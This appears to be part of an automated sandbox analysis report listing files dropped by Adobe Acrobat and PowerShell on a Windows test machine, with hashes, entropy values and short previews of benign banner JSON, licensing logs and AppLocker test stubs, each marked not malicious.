C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.292056413376097
Encrypted:	false
SSDEEP:	6:YEQXJ2HX2+KaUXjb24kF0YesSsoAvJfFldPeUkwRe9:YvXKXHFUTbdZsSfGz8Ukee9
MD5:	C93FF2E500AD4A71F2B051C6FE734A1F
SHA1:	BD11B1D8C9C9B9A93D9E1D0E1D7F6DB55EA8F3C7
SHA-256:	7CDA2E21F86013A4AD1B1AD23BDD6F2B4312839A5B282C40069A32C770567912
SHA-512:	59FFE15FF4AE677579D9460B660683FF47DEB85E4C73CD809F49364B09205DE68D301BE8BA8A0E6A46EC592C8EEAFD537BB7C7530A8D15E7EE5F745E09660111
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5813029e-9e8f-4482-b61c-cdd34c74d5f7","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736722553788,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.307476905377698
Encrypted:	false
SSDEEP:	6:YEQXJ2HX2+KaUXjb24kF0YesSsoAvJfzdPeUkwRe9:YvXKXHFUTbdZsSfGb8Ukee9
MD5:	B852273522CFAC25508D928EBACE01DF
SHA1:	937A0CFFB4F277EF4C78B759E0FF6B370B436A47
SHA-256:	E7445630565C0CE361FB060E25BEB1F7F2BC29BBA6628DA8402392C6B8AC83F8
SHA-512:	0B9A7C510FCC14428AE01E096938DDB60E99E7DFD12BDDE9B283BDFC86F0E5E2D98578EE2D11F90AA81CC44D292FBD3E294A6DDB2FE9C104DA974AF4BBAC6824
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5813029e-9e8f-4482-b61c-cdd34c74d5f7","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736722553788,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.287267842088827
Encrypted:	false
SSDEEP:	6:YEQXJ2HX2+KaUXjb24kF0YesSsoAvJfYdPeUkwRe9:YvXKXHFUTbdZsSfGg8Ukee9
MD5:	7A23A8ECAB2E900359FB1DB5508D4282
SHA1:	7A1B861D806A0AC1098414B735597A9C922F9511
SHA-256:	62AAC98CFD89E150D868401B9BF70A76A723297C88F3C9145171B851D49A72E9
SHA-512:	99C93BD06D170056C9D544B38A5DE986176040F465BF5EA12D9661B20D8598CD8B7342203E748FE00FF66BF40C7D839D77B9370CCF58D9E3F1BB6F881FAFD178
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5813029e-9e8f-4482-b61c-cdd34c74d5f7","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736722553788,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.2733930481296385
Encrypted:	false
SSDEEP:	6:YEQXJ2HX2+KaUXjb24kF0YesSsoAvJf+dPeUkwRe9:YvXKXHFUTbdZsSfG28Ukee9
MD5:	6FA90F3C5684B631351003A4DF97C4DF
SHA1:	73FAE1F6DBFE90D3B2AE10415DBB50B065B28FDF
SHA-256:	D1B6540A53EA38B870689DF667ABEE0BB0E2A644A0F4DDE55D896F960778017C
SHA-512:	56C9AE40766CAAFA88D9002724528D625EECC77B05C01FB183DF4D56E339201A194CB7B1DDDA16505C0CA84DAE3DF38F8E5B3C7FB2C170EEE6F7CB09B2D9A438
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5813029e-9e8f-4482-b61c-cdd34c74d5f7","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736722553788,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.270902446002631
Encrypted:	false
SSDEEP:	6:YEQXJ2HX2+KaUXjb24kF0YesSsoAvJfbPtdPeUkwRe9:YvXKXHFUTbdZsSfGDV8Ukee9
MD5:	6E61CE72FE27E1C6F782F6D9128F46A2
SHA1:	2038D040C050873F97BB5A4583907003DC153EED
SHA-256:	BA751DA6F318A952CADC9F7592C3178A217C22DC97E13A0B8AAD064E4DE17148
SHA-512:	6F502BE2BAA0D466D0BA10C762443DA572EDC3BF4CEE2086B82FA78302BC62ED84C2841ECBA7002A07921DBA87AA8F7C000CC0CD57705505B47FA6BC337B38CF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5813029e-9e8f-4482-b61c-cdd34c74d5f7","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736722553788,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.2734577841468
Encrypted:	false
SSDEEP:	6:YEQXJ2HX2+KaUXjb24kF0YesSsoAvJf21rPeUkwRe9:YvXKXHFUTbdZsSfG+16Ukee9
MD5:	BA2A706700B4300EC7944BC4ABF40D63
SHA1:	DA7ADEBD08162C708CDC892DC81FC90C2B6FB64E
SHA-256:	F9C2B59CA07141A36727A193F12095F847F9D6DFD94909F608C01E4270BEB980
SHA-512:	B5B34FE918656F2E5F89C9AC5DDCFAF3C2DBEAD345BABFAE51007B0451715AACC7547B3B1D75939043AF3C5A8BFF96CF9F77C51C988AF902A62CE71B7C666D85
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5813029e-9e8f-4482-b61c-cdd34c74d5f7","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736722553788,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.661731916576189
Encrypted:	false
SSDEEP:	24:Yv6XlUXESgamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSuZ:YvQwEbBgkDMUJUAh8cvM0
MD5:	47B0C3BA1152321384A0179353476142
SHA1:	8F7D7CE1E58733B41ED3FEE720485A48A6449603
SHA-256:	73DCB855A6A5976C096565CACD62BA92BB0A8A7D09DA68D622AC3EF7FBE79655
SHA-512:	34EF6F954835B6CA4D11988ACC859ECF56FE8DA2C36E2290EEF2B6AD584B647E454CAFA7B451D2EF9BCD21C62C2A572087947936CFC95D04AE55914288660D27
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5813029e-9e8f-4482-b61c-cdd34c74d5f7","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736722553788,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.248854943377623
Encrypted:	false
SSDEEP:	6:YEQXJ2HX2+KaUXjb24kF0YesSsoAvJfshHHrPeUkwRe9:YvXKXHFUTbdZsSfGUUUkee9
MD5:	99D0E4B78D5E0D21ED126E9617A06E51
SHA1:	99E764B07BFF376444B7049E27FCA9E0EC8782AE
SHA-256:	045EF058966CA0CC5FDB7AC381413E30282BC4B78FCF1A591455B892181402E3
SHA-512:	06D85C274FD316FC6D7ABFCBE5AA841AE58328DDCEF647DBFB2F3AB59C098739237C7E3E859CD59975A02FD0F893E7D05327E30396EEF3A57309261802AC21FA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5813029e-9e8f-4482-b61c-cdd34c74d5f7","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736722553788,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.2605283155314035
Encrypted:	false
SSDEEP:	6:YEQXJ2HX2+KaUXjb24kF0YesSsoAvJTqgFCrPeUkwRe9:YvXKXHFUTbdZsSfGTq16Ukee9
MD5:	B94F69F32401E14A3E1D7645A98726EE
SHA1:	4B00440AD4CA0DF1E33BC5FD25EC2A1EF9631BC9
SHA-256:	3FB1944A944A6EF96A06B153B709C9D8457C4A2FF00342F0EEF5EB53F652053B
SHA-512:	F8FFB6CCEF9F4D82C0EF12355EE6DEECA4BD5965FB92A85A502D47CCEDCEA786570AABBA6A6B5A3DBB8C1AA57F5895F06330A98B23B81BF9CB9FC8485DDC8B68
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5813029e-9e8f-4482-b61c-cdd34c74d5f7","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736722553788,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.145367372088125
Encrypted:	false
SSDEEP:	24:YhWVA4apayp0Jsi2Gb4AphzfptKBWANFVjgDBj0SLN8UY2B02LSLHCHCPYfPzaXd:YhokGbNfpARGFOTVo4WP+X/0/9k9
MD5:	B9FF40C91EF99180435D7CBBEEB3459F
SHA1:	E3A91019D9A3F202ED479731C7A3CA15B46AC288
SHA-256:	1DDBFC2A9F513232ACE3EAD23071293DC69EA8936881ED65DD00049250DFE898
SHA-512:	9C2ECF9C9DD90A8012A92791F96569E78646CCB2403A0CF6742A32E83D2AFD2DC5A92F442CA8AB831DA64A1263E7D01F29808A4C9F3FC1FBA0D41FE892FBAB06
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"43db4da4d97ac6d30198890c3b7a9c44","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736543632000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"bcbd44b84c3587e13a38b9c1d7fa18c1","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736543632000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"d3c07ecd037e53427d85f6cc17144895","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736543632000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"94f278a32fca17a6bfaf84c5b6774c67","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","size":289,"ts":1736543632000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"ec05254fbd9d179eed7136358ba90a68","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736543632000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"e19f1a70ca67a02a03b6043d6d60bca8","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.3196434725460975
Encrypted:	false
SSDEEP:	24:TLKufx/XYKQvGJF7urs9O3KaiZ3FL63FLesb+sZobF16R6FdpqpQ6YmZx+EXSqXR:TGufl2GL7msUKB0M0+Tb608YmmrOt
MD5:	1C79822D73B9468C15DC1BB00972C22B
SHA1:	AFD691950B4BF511922B788AC7F2C44CF9CAC2BB
SHA-256:	00B7FCB4A4337D686F5C7F4DC564C952949DDAEA7F8818CB5CAA3CB0204973BD
SHA-512:	5142A0C6E06A7079247818F8ACF142FE072AAD261C4D3FE7520593EC0FA1AFD9283F809D1614314CFB4A81F640045665F1C6E371C158B759A3CBE8F52A501786
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.7816209705277255
Encrypted:	false
SSDEEP:	24:7+tzl3KaiZ3FL63FLesb+sZobF16R6FdpqpQ6YmZx/EXSqXlyGKai3qLhx/XYKQU:7MtKB0M0+Tb608Ym3rGKbqFl2GL7msH
MD5:	300C3182EF7CC4E4A181E317C085079E
SHA1:	AC6C2275DA79679136EA92A7984C61169BC701E9
SHA-256:	1B2C795CFBD598B9698005C00382DAB620FB9DBFBF93C3578A1552A265B95217
SHA-512:	4C54DEC1179C46AAF29629BE8BD042DF1EDA4C4F6384976899EC3E69095998102C9AB43A371976D87BDBDEB95FF52E70F79872ABC4DDD4C0DB5451017B22ED91
Malicious:	false
Preview:	.... .c......O.C..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.p.p.p.p.p.p.p.p.p.p..........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgX2uGVy9oJ/WfDkAtul1QJT9EsEjkYyu:6a6TZ44ADEV9oMD1tulqJBEtQK
MD5:	63C0593E3D69749691D6386C7E89C9EB
SHA1:	F95B365402239ACD4761981B89E8CDA901D23982
SHA-256:	7F373B21101C91A3529710B1F0AE8A0DB3378417074D9F07C77F38B742E6EA31
SHA-512:	1D6CA36BD674E95C129D13AB2EF75C2F9D8B75BFC9BDABFA784735637653521CB59E41C4F9EA2A236607792F45BA77EB2C5F4AF6A4A5E985AD4B945751F8F012
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul3nqth:NllUa
MD5:	851531B4FD612B0BC7891B3F401A478F
SHA1:	483F0D1E71FB0F6EFF159AA96CC82422CF605FB3
SHA-256:	383511F73A5CE9C50CD95B6321EFA51A8C6F18192BEEBBD532D4934E3BC1071F
SHA-512:	A22D105E9F63872406FD271EF0A545BD76974C2674AEFF1B3256BCAC3C2128B9B8AA86B993A53BF87DBAC12ED8F00DCCAFD76E8BA431315B7953656A4CB4E931
Malicious:	false
Preview:	@...e.................................&..............@..........

C:\Users\user\AppData\Local\Temp\MSIf2cab.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.529865885204722
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClErNHo9:Qw946cPbiOxDlbYnuRK+bDrN2
MD5:	DC9BF0FCED9CC66D56F4B997A13433F9
SHA1:	40FD1432EFE74285DA069DE181B185E56CA82E9D
SHA-256:	4FFD61B9F1C9458B8226A5AD2166A7C910226C2E39D6E2D964BA1B7F671DF0AF
SHA-512:	740F2413861241FB79BD8C48A2F7E95715FF5C754105748A750E910299D73AF7976C2172B0A10A46D1D579C4E17AD0F4877EC99E9F5C63ECC44AC0C78F5DD2BC
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.6.:.1.3.:.4.9. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_b1jmwnbq.vqx.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hkricmg4.brp.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A9lwktia_lqg0g8_vg.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 16-13-43-212.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.361022727805069
Encrypted:	false
SSDEEP:	384:cBD67lQV4j1MOuD/btX+wknz+fzTqyorqz3tVFr84AbAYpfFWbWt+Fjwn0z5O+Wf:4M5
MD5:	70A2D078BEFD5E910EE035832171B399
SHA1:	1AB91914ECD7852E512C73437D30013594A16FB0
SHA-256:	2B55DE84E5446FD295128DAD5827122E98AC784F96A1F422B711B14E8F7DB1ED
SHA-512:	9FF36D4E320A8791AB0B87F24CAB4CBE777D9E8A3A64D26AF419132CDFDFCCD9A253EE9854032C4C87C546187951077F869CBCBDC9513278C557FC4895C7DBBC
Malicious:	false
Preview:	SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:158+0200 ThreadID=4884 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.365226282131918
Encrypted:	false
SSDEEP:	384:iAntBt8tZ8v8S8dp8K8583jyjgjvCv0C8CTYcYgb6bmq9qxqEqLqhXw+w+wQb6+1:w+h7
MD5:	00ECD61662EA716655F4A81E5E2DDA80
SHA1:	DE8BF708609525D6BA521BB992C13FFFB5D9C102
SHA-256:	D69A42208CFB547F3BAC3007B93010072A5161CE1506C6A0D193A12D7086628F
SHA-512:	B5A7FB86F9A788FBC7DB3A079FA130BA2187B6CE6D27A6A84EB6B5CA7282FBC4C8B37B666BCFF9FE47E56047C95E83C3B2D2194ABA5A14F18DA8C593BB370C80
Malicious:	false
Preview:	SessionID=04cbe7cf-50c9-440a-814f-76a889425960.1736543623241 Timestamp=2025-01-10T16:13:43:241-0500 ThreadID=8640 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=04cbe7cf-50c9-440a-814f-76a889425960.1736543623241 Timestamp=2025-01-10T16:13:43:244-0500 ThreadID=8640 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=04cbe7cf-50c9-440a-814f-76a889425960.1736543623241 Timestamp=2025-01-10T16:13:43:244-0500 ThreadID=8640 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=04cbe7cf-50c9-440a-814f-76a889425960.1736543623241 Timestamp=2025-01-10T16:13:43:244-0500 ThreadID=8640 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=04cbe7cf-50c9-440a-814f-76a889425960.1736543623241 Timestamp=2025-01-10T16:13:43:245-0500 ThreadID=8640 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
